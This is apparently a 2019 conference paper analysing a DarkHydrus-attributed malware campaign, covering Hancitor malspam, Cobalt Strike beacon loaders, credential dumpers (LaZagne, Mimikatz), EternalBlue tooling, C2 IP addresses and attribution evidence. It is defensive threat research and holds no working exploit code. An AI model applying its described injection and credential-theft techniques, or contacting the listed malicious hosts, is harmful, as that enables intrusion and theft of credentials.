Around July 2019 we retrieved a sample from GitHub related to an ongoing Hancitor malspam campaign, which included an EML file and a few other dropped files. It masquerades as an AT&T mail regarding a mobile bill with a call-to-action for the user to download the bill from the link provided. On clicking the link, a VBScript file was downloaded which dropped the Hancitor binary on to the infected system which is the Stage 1 of infection. The Hancitor binary connects to a random domain with ‘.ru’ TLD (e.g. mkzd[,ru, oftroondin[,]ru, etc.) to download a 2nd stage downloader file.
The 2nd stage downloader seems to be a Delphi file at first glance, however, on execution it allocates memory, decrypts some content as depicted in Figure 7, and overwrites itself with the decrypted content.
The memdumped file again decrypts a small piece of code which is responsible for downloading the beacon from 31.44.184.33/H7mp.

Be it the PowerShell in Case1 or the executable PE file in Case2, ultimately the downloader payload seems to be similar in both the cases as demonstrated in Figure 8. From the threat actor's perspective, he needs to have different avatars of the same malware component which increases the probability of remaining undetected.

A YARA rule was created to hunt for similar files in the wild. From the samples we retrieved, 2 files caught our attention. They are payload.ps1 which is similar to list.txt from Case1, and PAAA.exe which is similar to the dumped file in Case2. The interesting thing is that both the files were hosted on an OpenDir IP 123.207.143.211 as depicted in Figure 9.

<table>
<thead>
<tr>
<th>Name .extension</th>
<th>Size</th>
<th>Timestamp</th>
<th>Hits</th>
</tr>
</thead>
<tbody>
<tr>
<td>Command.rar</td>
<td>136B</td>
<td>2016/11/1 19:08:44</td>
<td>7</td>
</tr>
<tr>
<td>cvm_init.log</td>
<td>3.0 KB</td>
<td>2019/3/16 19:05:14</td>
<td>4</td>
</tr>
<tr>
<td>GetPass.ps1</td>
<td>834B</td>
<td>2019/5/26 0:27:35</td>
<td>7</td>
</tr>
<tr>
<td>GetPass.rar</td>
<td>14.4 MB</td>
<td>2016/11/1 19:08:44</td>
<td>1</td>
</tr>
<tr>
<td>GO1.db</td>
<td>25.6 MB</td>
<td>2019/5/11 17:39:37</td>
<td>2</td>
</tr>
<tr>
<td>main.ps1</td>
<td>668.9 KB</td>
<td>2019/5/26 1:00:59</td>
<td>16</td>
</tr>
<tr>
<td>PAAA.exe</td>
<td>14.0 KB</td>
<td>2019/3/17 12:09:57</td>
<td>19</td>
</tr>
<tr>
<td>payload.exe</td>
<td>3.8 MB</td>
<td>2019/5/16 20:17:02</td>
<td>898</td>
</tr>
<tr>
<td>payload.ps1</td>
<td>2.9 KB</td>
<td>2019/5/16 13:28:37</td>
<td>12</td>
</tr>
<tr>
<td>payload.py</td>
<td>3.2 KB</td>
<td>2019/5/16 14:13:26</td>
<td>3</td>
</tr>
<tr>
<td>payload.bac</td>
<td>5.6 KB</td>
<td>2019/3/17 12:58:02</td>
<td>6</td>
</tr>
<tr>
<td>README.md</td>
<td>44.2B</td>
<td>2016/11/1 19:08:44</td>
<td>7</td>
</tr>
</tbody>
</table>

The timeline of the events as we have observed is depicted below, showing that the group is constantly making changes and evolving.
The geolocation of the IP was found to be in China, and Shodan information on the IP revealed that the host was exposed to many vulnerabilities as depicted in Figure 11.

### Figure 10. Timeline of events

This gives us insight on how they may have compromised the server to host their files. An open-source infrastructure Http File Server was used to host their files as depicted in Figure 12.
Dissection of components found on the OpenDir

**PAAA.EXE**

PAAA.exe is a PE file which is wrapped with a custom packer. On execution, it allocates some memory and decrypts some code and creates a thread for the same (as depicted in Figure 13) which will be invoked during a call to the sleep function. The decrypted content is responsible for downloading the Cobalt Strike Beacon by requesting the C2 as depicted in Figure 14. As shown, it downloads the 1st file from 123.207.143.211/2vEo. This was a DLL with export DLL name `beacon` which indicates Cobalt Strike Beacon, and export function name `_ReflectiveLoader@4` which indicates this PE file is a reflective loader which reflectively injects the payload into other processes.
In general, malware authors convert their Python code to an executable PE file using py2exe, PyInstaller, etc. In this case payload.exe is a Python code which was compiled using PyInstaller. So we used pyinstxtractor[^3] to extract its components, and then used "Easy Python Decompiler"[^4] to decompile the .pyc files. In the extracted files, we notice one named payload (as depicted in Figure 15) which is the downloader_payload we've seen earlier, which downloads the Cobalt Strike Beacon.

---

[^3]: pyinstxtractor
[^4]: Easy Python Decompiler
The payload.ps1 is a PowerShell script which when decoded gives another PowerShell script at the 2nd stage, which injects the downloader_payload into the memory space of a process as depicted in Figure 16. If we compare Figure 4 and Figure 16, the PowerShell scripts and downloader_payload(s) are similar.

After successful download of the Cobalt Strike Beacon, it can be observed that all the 3 files tried to download a second file with the same URL pattern. Unfortunately, all the attempts to download the 2nd file only led to empty (0KB) files. We assume that the 2nd downloaded file (if it ever exists) could be one of the password dumpers or tools for lateral movement, which are detailed in the next section. Or it could also be a new variant of Rogue Robin or a new custom payload which they are still prototyping. There is also a chance that the threat actors allow the download of the 2nd file only after verifying the target.
The downloaded Cobalt Strike Beacon is not saved to the disk. Instead it is reflectively injected into other processes, and starts its malleable C2 communication using C2 profiles that are available publicly.

The Password Dumper(s)!

GETPASS.RAR

The name is pretty straightforward (GetPass -> GetPassword). The extension may be .rar but it is yet again a Python compiled binary which can be extracted using pyinstxtractor.py and decompiled to retrieve the source code. After following the steps, the code retrieved is of LaZagne[^1] which is again an open-source tool available on GitHub. LaZagne is used to dump stored credentials on systems that support Linux, OS X and Windows. It has functionality to retrieve passwords from many components like Microsoft Outlook, Google Chrome, Opera, Mozilla Firefox, FileZilla, TortoiseSVN, Skype, PuTTY, Email Parser, XML Parser, etc. GetPass.rar also contains impackets which can help in lateral movement.

MAIN.PS1

main.ps1 also retrieves passwords stored on the system, but it has a different approach. It uses a PowerShell implementation of Mimikatz as depicted in Figure 19. The script reflectively injects the Mimikatz binary into the PowerShell process or in other legitimate processes. The Mimikatz binary is stored as base64-encoded strings in the script which will be decoded and injected when required.

[^1]: LaZagne

Figure 18. Embedded file name

Figure 19. PowerShell implementation of Mimikatz
The PowerShell implementation of Mimikatz is slightly modified here with the additional code for downloading GetPass.ps1, which collects users' system information, captures the screen, zips these contents, and then mails the archive to an address as depicted in Figure 20.

```powershell
# Get-ChildItem -Path "C:\Windows\Temp\" -Recurse
$files = Get-ChildItem -Path $saveDir
foreach($file in $files) {
    # Copy the file to the save directory
    copy -f $file.FullName $saveDir
}
```

Figure 20. Code at the end of Mimikatz PowerShell script
The mail address present in the code is owned by a Chinese person who is supposedly a penetration tester as depicted in Figure 21. The profile seems fishy but also makes sense; a penetration “tester” putting a penetration tool (Cobalt Strike Beacon) to good use.

GETPASS.PS1

GetPass.ps1 is responsible for downloading GetPass.rar and Command.rar to the system and initiates an SMTP service for mailing the dumped passwords through port 587. Once the mail is sent it deletes the dropped files.
The names GetPass.ps1, main.ps1, GetPass.rar rang a bell somewhere. Having tracked down these names and codes, we found a GitHub page which has all of them under one project name called BadUSB-code [6]. On second glance there is an explicit reference to BadUSB in Figure 20.

Interestingly, the person behind this account claims that he/she belongs to Alibaba and r3kapig. R3kapig is a CTF team which mostly emerged from Eur3kA and FlappyPig. These are all groups whose members are cybersecurity enthusiasts, interested in various areas including web security, cryptography, software security, etc. Although we were able to attribute Case1, Case2 and files hosted on OpenDir to DarkHydrus, we were unable to find the specific people behind the group.

GO!.ZIP

This ZIP file when extracted has some interesting components like DoublePulsar, EternalBlue, EternalRomance, and some downloader components along with some log files. On combining all these components, we ascertained that GO!.zip is actually WinEggdrop [7], a Chinese threat actor tool. WinEggdrop is a tool used to scan for new hosts to infect them with backdoor implants.

Figure 24 depicts the files found inside GO!.zip and the log files after successful backdoor implantation. http.config is a batch script to download a file and execute it. The downloaded file is ExportCore.exe which in turn downloads the downloader components found under the folder name Dll. The goal of the downloader is to download DoublePulsar and EternalBlue files. We have seen all these components acting in threat events related to coinminers. The log files reveal private IPs starting with 192.168.??.
What makes this interesting is the behavior of matching files similar to PAAA.exe which were returned by a YARA rule in VirusTotal. According to VirusTotal there were 130 unique submissions in the last 3 months (June, July, August 2019), out of which the HTTP request behavior of more than 25% of the samples involved connecting to private IPs. The majority of the file submissions were from the US, Canada in North America, Argentina in South America, and China, Hong Kong, Korea, Japan and Pakistan in Asia.

But why would private IPs be in use? One answer could be that they were testing their tools (both GO!.zip aka WinEggdrop for lateral movement and the PE file responsible for downloading Cobalt Strike Beacon) internally on their network. Another question is how these testing files ended up on VT? Well, they could have committed similar mistakes of hosting it on any OpenDir on some public IP where crawlers and researchers might have picked them up and uploaded them. However, we don’t have any evidence for it.

![Figure 25. HTTP requests of similar samples](Image)
Attribution

Now that we have described all the tools, let us focus on the attribution part and attack matrix of the same.

1. **Code similarities** – We compared a Cobalt Strike Beacon delivering binary (MD5: AB9CF850F83F4AFDFDF3EB069995CDA) from a previous campaign in 2018 which was reported by Unit 42 (Palo Alto Networks) and the files we have collected from Case2 and the OpenDir. They are pretty much the same as depicted in Figure 26.

![Figure 26. Code similarities](image)

2. When comparing another binary (MD5: B439EF9331CFBCD7D6B6F23E4FFECF) reported by Unit 42, list.txt from Case1 and payload.ps1 from OpenDir, they have similar payloads which they inject into other processes by creating a new process in a suspended state, writing the code to the suspended process' memory, and then resuming the process. The previous campaign binary injects into rundll32.exe while list.txt and payload.ps1 inject into csc.exe. We found that the "EICAR TEST FILE" is common in Case1 and the IOC reported by Unit 42 as given below. `X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H` is used in the PowerShell version and PE file version (reported by Unit 42) as depicted in Figure 27, but the intent of it is unknown.

![Figure 27A. Comparison of previous campaign binary and PowerShell scripts](image)
3. **IP location pattern** — when looking at the IPs used by DarkHydrus and CopyKittens\(^\text{(10)}\) (believed to be an alias for DarkHydrus) from the previous campaign, a majority of the IPs belonged to the United States, Netherlands, Russian Federation and Canada. A majority of the submissions of similar files in VirusTotal were also from the US and Canada, while submissions from China have increased recently. On analyzing the HTTP connections of the submitted files, we get to know that they belong to the US, Russia, Canada, the Netherlands and China, Hong Kong whose submissions have started increasing recently. This shift suggests that of late the campaign is moving towards/focusing more on Asia which is depicted in the table below.

<table>
<thead>
<tr>
<th>IP Address</th>
<th>IP Location</th>
<th>Use</th>
<th>Captured date</th>
</tr>
</thead>
<tbody>
<tr>
<td>184.75.221.171</td>
<td>Canada</td>
<td>Cobalt strike</td>
<td>9/9/2019</td>
</tr>
<tr>
<td>92.63.194.56</td>
<td>Russia</td>
<td>Cobalt strike</td>
<td>7/8/2019</td>
</tr>
<tr>
<td>45.78.68.97</td>
<td>US</td>
<td>Cobalt strike</td>
<td>8/5/2019</td>
</tr>
<tr>
<td>45.199.111.154</td>
<td>US</td>
<td>Cobalt strike</td>
<td>23/5/2019</td>
</tr>
<tr>
<td>144.202.73.178</td>
<td>US</td>
<td>Cobalt strike</td>
<td>28/8/2019</td>
</tr>
<tr>
<td>66.248.204.35</td>
<td>Australia</td>
<td>Cobalt strike</td>
<td>5/9/2019</td>
</tr>
<tr>
<td>5.39.217.105</td>
<td>Netherlands</td>
<td>Cobalt strike</td>
<td>22/7/2019</td>
</tr>
<tr>
<td>95.169.17.220</td>
<td>US</td>
<td>Cobalt strike</td>
<td>27/8/2019</td>
</tr>
<tr>
<td>138.128.212.97</td>
<td>US</td>
<td>Cobalt strike</td>
<td>28/8/2019</td>
</tr>
<tr>
<td>47.101.155.24</td>
<td>China</td>
<td>Cobalt strike</td>
<td>22/8/2019</td>
</tr>
<tr>
<td>118.31.245.158</td>
<td>China</td>
<td>Cobalt strike</td>
<td>29/8/2019</td>
</tr>
<tr>
<td>121.46.26.213</td>
<td>China</td>
<td>Cobalt strike</td>
<td>3/8/2019</td>
</tr>
<tr>
<td>118.24.108.239</td>
<td>China</td>
<td>Cobalt strike</td>
<td>13/8/2019</td>
</tr>
<tr>
<td>49.235.50.99</td>
<td>China</td>
<td>Cobalt strike</td>
<td>28/8/2019</td>
</tr>
<tr>
<td>150.107.0.46</td>
<td>Hong Kong</td>
<td>Cobalt strike</td>
<td>17/8/2019</td>
</tr>
<tr>
<td>103.51.145.191</td>
<td>Hong Kong</td>
<td>Cobalt strike</td>
<td>28/8/2019</td>
</tr>
<tr>
<td>115.159.35.88</td>
<td>China</td>
<td>Cobalt strike</td>
<td>13/8/2019</td>
</tr>
</tbody>
</table>

4. Use of spear-phishing documents, PowerShell and heavy usage of publicly available open-source tools.

5. Attack matrix is also the same as the earlier campaign we have analysed.
The End (Game)

As we have demonstrated, the recent samples analysed by us have distinct similarities with the TTPs of DarkHydrus from a year ago. This leads us to believe that DarkHydrus is back. We believe the operation was carried out from China, and its target, this time, is more eastwards, towards Asian countries.

We feel that we will be seeing a rise in its campaign activities in the coming months. It is typically a cat-and-mouse game, wherein the attackers strike first and then we research, learn and implement the protection. On the contrary, in this case we have proactively researched, and we foresee that we are likely to see an increase in their campaign and we need to develop proactive defenses.

Apart from the DarkHydrus group’s TTPs, a generic parallel theme we see in this study is the use of tools created with good intent that are being heavily misused by threat actors. An everyday example from the Incident Response front is the RDP based ransomware attacks where tools like Process Hacker, IObit Uninstaller, etc. are used to uninstall security products as a precursor to the main attack.

As is apt in our abstract, indeed “Technology is, of course, a double-edged sword”.

<table>
<thead>
<tr>
<th>RECON</th>
<th>WEAPONIZATION</th>
<th>DELIVERY</th>
<th>EXPLOIT</th>
<th>INSTALL</th>
<th>COMMAND</th>
<th>OBJECTIVE</th>
</tr>
</thead>
<tbody>
<tr>
<td>Passwords &amp; system info</td>
<td>Cobalt strike Beacon</td>
<td>Spear phishing attachments</td>
<td>SMB (EternalBlue, EternalRomance)</td>
<td>Scripts (PowerShell, bat, Python, etc.)</td>
<td>CMD</td>
<td>Screen capture</td>
</tr>
<tr>
<td>LaZagne + Mimikatz (BadUSB)</td>
<td>Spear phishing links</td>
<td>Pass the Hash</td>
<td>Scheduled tasks</td>
<td>Remote file copy</td>
<td>System network configuration discovery</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Obfuscated files</td>
<td></td>
<td>Custom command and control protocol in Rogue Robin</td>
<td>System owner’s discovery</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Doublepulsar backdoor</td>
<td>System information (products installed, driver information)</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>LaZagne + Mimikatz (BadUSB)</td>
<td>Remote file copy</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Run entries</td>
<td>Process discovery</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>Cobalt strike Beacon</td>
<td>Mail collected information</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

Figure 28. Attack matrix
References

[1] https://www.shodan.io/host/123.207.143.211
[5] https://github.com/AlessandroZ/LaZagne
[8] https://unit42.paloaltonetworks.com/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
[9] https://www.eicar.org/?page_id=3950
THANK YOU FOR ATTENDING AVAR 2019. SEE YOU AT AVAR 2020!